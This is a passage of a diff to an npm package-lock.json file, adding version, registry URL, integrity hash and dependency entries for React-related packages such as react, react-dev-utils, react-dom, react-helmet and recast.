+            "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==",
+            "requires": {
+                "deep-extend": "^0.6.0",
+                "ini": "~1.3.0",
+                "minimist": "^1.2.0",
+                "strip-json-comments": "~2.0.1"
+            },
+            "dependencies": {
+                "ini": {
+                    "version": "1.3.8",
+                    "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+                    "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
+                },
+                "strip-json-comments": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
+                    "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ=="
+                }
+            }
+        },
+        "react": {
+            "version": "16.5.1",
+            "resolved": "https://registry.npmjs.org/react/-/react-16.5.1.tgz",
+            "integrity": "sha512-E+23+rbpPsJgSX812LQkwupUCFnbVE84+L8uxlkqN5MU0DcraWMlVf9cRvKCKtGu0XvScyRnW7Z+9d7ymkjy3A==",
+            "requires": {
+                "loose-envify": "^1.1.0",
+                "object-assign": "^4.1.1",
+                "prop-types": "^15.6.2",
+                "schedule": "^0.4.0"
+            }
+        },
+        "react-dev-utils": {
+            "version": "4.2.3",
+            "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-4.2.3.tgz",
+            "integrity": "sha512-uvmkwl5uMexCmC0GUv1XGQP0YjfYePJufGg4YYiukhqk2vN1tQxwWJIBERqhOmSi80cppZg8mZnPP/kOMf1sUQ==",
+            "requires": {
+                "address": "1.0.3",
+                "babel-code-frame": "6.26.0",
+                "chalk": "1.1.3",
+                "cross-spawn": "5.1.0",
+                "detect-port-alt": "1.1.3",
+                "escape-string-regexp": "1.0.5",
+                "filesize": "3.5.11",
+                "global-modules": "1.0.0",
+                "gzip-size": "3.0.0",
+                "inquirer": "3.3.0",
+                "is-root": "1.0.0",
+                "opn": "5.1.0",
+                "react-error-overlay": "^3.0.0",
+                "recursive-readdir": "2.2.1",
+                "shell-quote": "1.6.1",
+                "sockjs-client": "1.1.4",
+                "strip-ansi": "3.0.1",
+                "text-table": "0.2.0"
+            },
+            "dependencies": {
+                "address": {
+                    "version": "1.0.3",
+                    "resolved": "https://registry.npmjs.org/address/-/address-1.0.3.tgz",
+                    "integrity": "sha512-z55ocwKBRLryBs394Sm3ushTtBeg6VAeuku7utSoSnsJKvKcnXFIyC6vh27n3rXyxSgkJBBCAvyOn7gSUcTYjg=="
+                },
+                "ansi-regex": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+                    "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA=="
+                },
+                "ansi-styles": {
+                    "version": "2.2.1",
+                    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz",
+                    "integrity": "sha512-kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA=="
+                },
+                "chalk": {
+                    "version": "1.1.3",
+                    "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz",
+                    "integrity": "sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A==",
+                    "requires": {
+                        "ansi-styles": "^2.2.1",
+                        "escape-string-regexp": "^1.0.2",
+                        "has-ansi": "^2.0.0",
+                        "strip-ansi": "^3.0.0",
+                        "supports-color": "^2.0.0"
+                    }
+                },
+                "chardet": {
+                    "version": "0.4.2",
+                    "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.4.2.tgz",
+                    "integrity": "sha512-j/Toj7f1z98Hh2cYo2BVr85EpIRWqUi7rtRSGxh/cqUjqrnJe9l9UE7IUGd2vQ2p+kSHLkSzObQPZPLUC6TQwg=="
+                },
+                "cli-cursor": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz",
+                    "integrity": "sha512-8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw==",
+                    "requires": {
+                        "restore-cursor": "^2.0.0"
+                    }
+                },
+                "cli-width": {
+                    "version": "2.2.1",
+                    "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.1.tgz",
+                    "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw=="
+                },
+                "cross-spawn": {
+                    "version": "5.1.0",
+                    "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz",
+                    "integrity": "sha512-pTgQJ5KC0d2hcY8eyL1IzlBPYjTkyH72XRZPnLyKus2mBfNjQs3klqbJU2VILqZryAZUt9JOb3h/mWMy23/f5A==",
+                    "requires": {
+                        "lru-cache": "^4.0.1",
+                        "shebang-command": "^1.2.0",
+                        "which": "^1.2.9"
+                    }
+                },
+                "detect-port-alt": {
+                    "version": "1.1.3",
+                    "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.3.tgz",
+                    "integrity": "sha512-Mo7vtTJBvCsLphxecZllzDq24288TBYPOEP3OyFdbLXxoS6j2Nusl5KWh14z6IG6tskKisUsTc/jPLk2nsQaOw==",
+                    "requires": {
+                        "address": "^1.0.1",
+                        "debug": "^2.6.0"
+                    }
+                },
+                "external-editor": {
+                    "version": "2.2.0",
+                    "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-2.2.0.tgz",
+                    "integrity": "sha512-bSn6gvGxKt+b7+6TKEv1ZycHleA7aHhRHyAqJyp5pbUFuYYNIzpZnQDk7AsYckyWdEnTeAnay0aCy2aV6iTk9A==",
+                    "requires": {
+                        "chardet": "^0.4.0",
+                        "iconv-lite": "^0.4.17",
+                        "tmp": "^0.0.33"
+                    }
+                },
+                "figures": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz",
+                    "integrity": "sha512-Oa2M9atig69ZkfwiApY8F2Yy+tzMbazyvqv21R0NsSC8floSOC09BbT1ITWAdoMGQvJ/aZnR1KMwdx9tvHnTNA==",
+                    "requires": {
+                        "escape-string-regexp": "^1.0.5"
+                    }
+                },
+                "inquirer": {
+                    "version": "3.3.0",
+                    "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-3.3.0.tgz",
+                    "integrity": "sha512-h+xtnyk4EwKvFWHrUYsWErEVR+igKtLdchu+o0Z1RL7VU/jVMFbYir2bp6bAj8efFNxWqHX0dIss6fJQ+/+qeQ==",
+                    "requires": {
+                        "ansi-escapes": "^3.0.0",
+                        "chalk": "^2.0.0",
+                        "cli-cursor": "^2.1.0",
+                        "cli-width": "^2.0.0",
+                        "external-editor": "^2.0.4",
+                        "figures": "^2.0.0",
+                        "lodash": "^4.3.0",
+                        "mute-stream": "0.0.7",
+                        "run-async": "^2.2.0",
+                        "rx-lite": "^4.0.8",
+                        "rx-lite-aggregates": "^4.0.8",
+                        "string-width": "^2.1.0",
+                        "strip-ansi": "^4.0.0",
+                        "through": "^2.3.6"
+                    },
+                    "dependencies": {
+                        "ansi-regex": {
+                            "version": "3.0.1",
+                            "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz",
+                            "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw=="
+                        },
+                        "ansi-styles": {
+                            "version": "3.2.1",
+                            "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+                            "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+                            "requires": {
+                                "color-convert": "^1.9.0"
+                            }
+                        },
+                        "chalk": {
+                            "version": "2.4.2",
+                            "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+                            "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+                            "requires": {
+                                "ansi-styles": "^3.2.1",
+                                "escape-string-regexp": "^1.0.5",
+                                "supports-color": "^5.3.0"
+                            }
+                        },
+                        "strip-ansi": {
+                            "version": "4.0.0",
+                            "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
+                            "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==",
+                            "requires": {
+                                "ansi-regex": "^3.0.0"
+                            }
+                        },
+                        "supports-color": {
+                            "version": "5.5.0",
+                            "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+                            "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+                            "requires": {
+                                "has-flag": "^3.0.0"
+                            }
+                        }
+                    }
+                },
+                "lru-cache": {
+                    "version": "4.1.5",
+                    "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz",
+                    "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==",
+                    "requires": {
+                        "pseudomap": "^1.0.2",
+                        "yallist": "^2.1.2"
+                    }
+                },
+                "mimic-fn": {
+                    "version": "1.2.0",
+                    "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz",
+                    "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ=="
+                },
+                "mute-stream": {
+                    "version": "0.0.7",
+                    "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz",
+                    "integrity": "sha512-r65nCZhrbXXb6dXOACihYApHw2Q6pV0M3V0PSxd74N0+D8nzAdEAITq2oAjA1jVnKI+tGvEBUpqiMh0+rW6zDQ=="
+                },
+                "onetime": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz",
+                    "integrity": "sha512-oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ==",
+                    "requires": {
+                        "mimic-fn": "^1.0.0"
+                    }
+                },
+                "restore-cursor": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz",
+                    "integrity": "sha512-6IzJLuGi4+R14vwagDHX+JrXmPVtPpn4mffDJ1UdR7/Edm87fl6yi8mMBIVvFtJaNTUvjughmW4hwLhRG7gC1Q==",
+                    "requires": {
+                        "onetime": "^2.0.0",
+                        "signal-exit": "^3.0.2"
+                    }
+                },
+                "strip-ansi": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
+                    "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+                    "requires": {
+                        "ansi-regex": "^2.0.0"
+                    }
+                },
+                "supports-color": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz",
+                    "integrity": "sha512-KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g=="
+                },
+                "tmp": {
+                    "version": "0.0.33",
+                    "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz",
+                    "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
+                    "requires": {
+                        "os-tmpdir": "~1.0.2"
+                    }
+                },
+                "yallist": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
+                    "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A=="
+                }
+            }
+        },
+        "react-docgen": {
+            "version": "2.21.0",
+            "resolved": "https://registry.npmjs.org/react-docgen/-/react-docgen-2.21.0.tgz",
+            "integrity": "sha512-8xNPTrmvHLGNfqlsCYPdXmSkagP1njI5unP3t8WrjTJ4/5hHuP5nb3XH69CnF67HPV5zTkPoafcRBDGSQO6S6A==",
+            "requires": {
+                "async": "^2.1.4",
+                "babel-runtime": "^6.9.2",
+                "babylon": "~5.8.3",
+                "commander": "^2.9.0",
+                "doctrine": "^2.0.0",
+                "node-dir": "^0.1.10",
+                "recast": "^0.12.6"
+            },
+            "dependencies": {
+                "babylon": {
+                    "version": "5.8.38",
+                    "resolved": "https://registry.npmjs.org/babylon/-/babylon-5.8.38.tgz",
+                    "integrity": "sha512-jtLAtIWCbI17buqCVN4/DtuHf3N1w9ZvbwrTWIae+EBSu2N3sVGCwSJeiZdAkTH4KRwinfMQIyoovP/xZtRwXQ=="
+                }
+            }
+        },
+        "react-dom": {
+            "version": "16.13.1",
+            "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.13.1.tgz",
+            "integrity": "sha512-81PIMmVLnCNLO/fFOQxdQkvEq/+Hfpv24XNJfpyZhTRfO0QcmQIF/PgCa1zCOj2w1hrn12MFLyaJ/G0+Mxtfag==",
+            "requires": {
+                "loose-envify": "^1.1.0",
+                "object-assign": "^4.1.1",
+                "prop-types": "^15.6.2",
+                "scheduler": "^0.19.1"
+            }
+        },
+        "react-error-overlay": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-3.0.0.tgz",
+            "integrity": "sha512-XzgvowFrwDo6TWcpJ/WTiarb9UI6lhA4PMzS7n1joK3sHfBBBOQHUc0U4u57D6DWO9vHv6lVSWx2Q/Ymfyv4hw=="
+        },
+        "react-fast-compare": {
+            "version": "2.0.4",
+            "resolved": "https://registry.npmjs.org/react-fast-compare/-/react-fast-compare-2.0.4.tgz",
+            "integrity": "sha512-suNP+J1VU1MWFKcyt7RtjiSWUjvidmQSlqu+eHslq+342xCbGTYmC0mEhPCOHxlW0CywylOC1u2DFAT+bv4dBw=="
+        },
+        "react-helmet": {
+            "version": "5.2.1",
+            "resolved": "https://registry.npmjs.org/react-helmet/-/react-helmet-5.2.1.tgz",
+            "integrity": "sha512-CnwD822LU8NDBnjCpZ4ySh8L6HYyngViTZLfBBb3NjtrpN8m49clH8hidHouq20I51Y6TpCTISCBbqiY5GamwA==",
+            "requires": {
+                "object-assign": "^4.1.1",
+                "prop-types": "^15.5.4",
+                "react-fast-compare": "^2.0.2",
+                "react-side-effect": "^1.1.0"
+            }
+        },
+        "react-hot-loader": {
+            "version": "4.13.0",
+            "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.13.0.tgz",
+            "integrity": "sha512-JrLlvUPqh6wIkrK2hZDfOyq/Uh/WeVEr8nc7hkn2/3Ul0sx1Kr5y4kOGNacNRoj7RhwLNcQ3Udf1KJXrqc0ZtA==",
+            "requires": {
+                "fast-levenshtein": "^2.0.6",
+                "global": "^4.3.0",
+                "hoist-non-react-statics": "^3.3.0",
+                "loader-utils": "^1.1.0",
+                "prop-types": "^15.6.1",
+                "react-lifecycles-compat": "^3.0.4",
+                "shallowequal": "^1.1.0",
+                "source-map": "^0.7.3"
+            },
+            "dependencies": {
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                },
+                "source-map": {
+                    "version": "0.7.4",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
+                    "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA=="
+                }
+            }
+        },
+        "react-html-parser": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/react-html-parser/-/react-html-parser-2.0.2.tgz",
+            "integrity": "sha512-XeerLwCVjTs3njZcgCOeDUqLgNIt/t+6Jgi5/qPsO/krUWl76kWKXMeVs2LhY2gwM6X378DkhLjur0zUQdpz0g==",
+            "requires": {
+                "htmlparser2": "^3.9.0"
+            },
+            "dependencies": {
+                "dom-serializer": {
+                    "version": "0.2.2",
+                    "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz",
+                    "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==",
+                    "requires": {
+                        "domelementtype": "^2.0.1",
+                        "entities": "^2.0.0"
+                    },
+                    "dependencies": {
+                        "domelementtype": {
+                            "version": "2.3.0",
+                            "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+                            "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="
+                        },
+                        "entities": {
+                            "version": "2.2.0",
+                            "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
+                            "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="
+                        }
+                    }
+                },
+                "domelementtype": {
+                    "version": "1.3.1",
+                    "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz",
+                    "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w=="
+                },
+                "domhandler": {
+                    "version": "2.4.2",
+                    "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.4.2.tgz",
+                    "integrity": "sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA==",
+                    "requires": {
+                        "domelementtype": "1"
+                    }
+                },
+                "domutils": {
+                    "version": "1.7.0",
+                    "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz",
+                    "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==",
+                    "requires": {
+                        "dom-serializer": "0",
+                        "domelementtype": "1"
+                    }
+                },
+                "entities": {
+                    "version": "1.1.2",
+                    "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.2.tgz",
+                    "integrity": "sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w=="
+                },
+                "htmlparser2": {
+                    "version": "3.10.1",
+                    "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.10.1.tgz",
+                    "integrity": "sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ==",
+                    "requires": {
+                        "domelementtype": "^1.3.1",
+                        "domhandler": "^2.3.0",
+                        "domutils": "^1.5.1",
+                        "entities": "^1.1.1",
+                        "inherits": "^2.0.1",
+                        "readable-stream": "^3.1.1"
+                    }
+                },
+                "readable-stream": {
+                    "version": "3.6.0",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+                    "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+                    "requires": {
+                        "inherits": "^2.0.3",
+                        "string_decoder": "^1.1.1",
+                        "util-deprecate": "^1.0.1"
+                    }
+                }
+            }
+        },
+        "react-is": {
+            "version": "16.13.1",
+            "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
+            "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
+        },
+        "react-lifecycles-compat": {
+            "version": "3.0.4",
+            "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz",
+            "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="
+        },
+        "react-refresh": {
+            "version": "0.8.3",
+            "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.8.3.tgz",
+            "integrity": "sha512-X8jZHc7nCMjaCqoU+V2I0cOhNW+QMBwSUkeXnTi8IPe6zaRWfn60ZzvFDZqWPfmSJfjub7dDW1SP0jaHWLu/hg=="
+        },
+        "react-script-tag": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/react-script-tag/-/react-script-tag-1.1.2.tgz",
+            "integrity": "sha512-4oR9ntvGfX4igiP77vK310ru5Oa77xO7CeYB3Xi9lu0qsikpGpK1Kq1WMFocvy8U4fQFq8ovtrZS/8adfCziFw=="
+        },
+        "react-side-effect": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/react-side-effect/-/react-side-effect-1.2.0.tgz",
+            "integrity": "sha512-v1ht1aHg5k/thv56DRcjw+WtojuuDHFUgGfc+bFHOWsF4ZK6C2V57DO0Or0GPsg6+LSTE0M6Ry/gfzhzSwbc5w==",
+            "requires": {
+                "shallowequal": "^1.0.1"
+            }
+        },
+        "read": {
+            "version": "1.0.7",
+            "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz",
+            "integrity": "sha512-rSOKNYUmaxy0om1BNjMN4ezNT6VKK+2xF4GBhc81mkH7L60i6dp8qPYrkndNLT3QPphoII3maL9PVC9XmhHwVQ==",
+            "requires": {
+                "mute-stream": "~0.0.4"
+            }
+        },
+        "read-chunk": {
+            "version": "3.2.0",
+            "resolved": "https://registry.npmjs.org/read-chunk/-/read-chunk-3.2.0.tgz",
+            "integrity": "sha512-CEjy9LCzhmD7nUpJ1oVOE6s/hBkejlcJEgLQHVnQznOSilOPb+kpKktlLfFDK3/WP43+F80xkUTM2VOkYoSYvQ==",
+            "requires": {
+                "pify": "^4.0.1",
+                "with-open-file": "^0.1.6"
+            },
+            "dependencies": {
+                "pify": {
+                    "version": "4.0.1",
+                    "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+                    "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
+                }
+            }
+        },
+        "read-pkg": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz",
+            "integrity": "sha512-7BGwRHqt4s/uVbuyoeejRn4YmFnYZiFl4AuaeXHlgZf3sONF0SOGlxs2Pw8g6hCKupo08RafIO5YXFNOKTfwsQ==",
+            "requires": {
+                "load-json-file": "^1.0.0",
+                "normalize-package-data": "^2.3.2",
+                "path-type": "^1.0.0"
+            },
+            "dependencies": {
+                "path-type": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz",
+                    "integrity": "sha512-S4eENJz1pkiQn9Znv33Q+deTOKmbl+jj1Fl+qiP/vYezj+S8x+J3Uo0ISrx/QoEvIlOaDWJhPaRd1flJ9HXZqg==",
+                    "requires": {
+                        "graceful-fs": "^4.1.2",
+                        "pify": "^2.0.0",
+                        "pinkie-promise": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "read-pkg-up": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz",
+            "integrity": "sha512-WD9MTlNtI55IwYUS27iHh9tK3YoIVhxis8yKhLpTqWtml739uXc9NWTpxoHkfZf3+DkCCsXox94/VWZniuZm6A==",
+            "requires": {
+                "find-up": "^1.0.0",
+                "read-pkg": "^1.0.0"
+            },
+            "dependencies": {
+                "find-up": {
+                    "version": "1.1.2",
+                    "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz",
+                    "integrity": "sha512-jvElSjyuo4EMQGoTwo1uJU5pQMwTW5lS1x05zzfJuTIyLR3zwO27LYrxNg+dlvKpGOuGy/MzBdXh80g0ve5+HA==",
+                    "requires": {
+                        "path-exists": "^2.0.0",
+                        "pinkie-promise": "^2.0.0"
+                    }
+                },
+                "path-exists": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz",
+                    "integrity": "sha512-yTltuKuhtNeFJKa1PiRzfLAU5182q1y4Eb4XCJ3PBqyzEDkAZRzBrKKBct682ls9reBVHf9udYLN5Nd+K1B9BQ==",
+                    "requires": {
+                        "pinkie-promise": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "readable-stream": {
+            "version": "3.6.0",
+            "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+            "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+            "requires": {
+                "inherits": "^2.0.3",
+                "string_decoder": "^1.1.1",
+                "util-deprecate": "^1.0.1"
+            }
+        },
+        "readable-web-to-node-stream": {
+            "version": "3.0.2",
+            "resolved": "https://registry.npmjs.org/readable-web-to-node-stream/-/readable-web-to-node-stream-3.0.2.tgz",
+            "integrity": "sha512-ePeK6cc1EcKLEhJFt/AebMCLL+GgSKhuygrZ/GLaKZYEecIgIECf4UaUuaByiGtzckwR4ain9VzUh95T1exYGw==",
+            "requires": {
+                "readable-stream": "^3.6.0"
+            }
+        },
+        "readdirp": {
+            "version": "3.4.0",
+            "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.4.0.tgz",
+            "integrity": "sha512-0xe001vZBnJEK+uKcj8qOhyAKPzIT+gStxWr3LCB0DwcXR5NZJ3IaC+yGnHCYzB/S7ov3m3EEbZI2zeNvX+hGQ==",
+            "requires": {
+                "picomatch": "^2.2.1"
+            }
+        },
+        "recast": {
+            "version": "0.12.9",
+            "resolved": "https://registry.npmjs.org/recast/-/recast-0.12.9.tgz",
+            "integrity": "sha512-y7ANxCWmMW8xLOaiopiRDlyjQ9ajKRENBH+2wjntIbk3A6ZR1+BLQttkmSHMY7Arl+AAZFwJ10grg2T6f1WI8A==",
+            "requires": {
+                "ast-types": "0.10.1",
+                "core-js": "^2.4.1",
+                "esprima": "~4.0.0",
+                "private": "~0.1.5",
+                "source-map": "~0.6.1"
+            },
+            "dependencies": {
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "recursive-readdir": {
+            "version": "2.2.1",
+            "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.1.tgz",
+            "integrity": "sha512-BKWLxPZb4B07G/4LzyzsHaw24fC41/tL7LrECr1//X9ykRhmxlYgyl7G7X+6A7nvJyOGE/ED7refqmSGORVYqQ==",
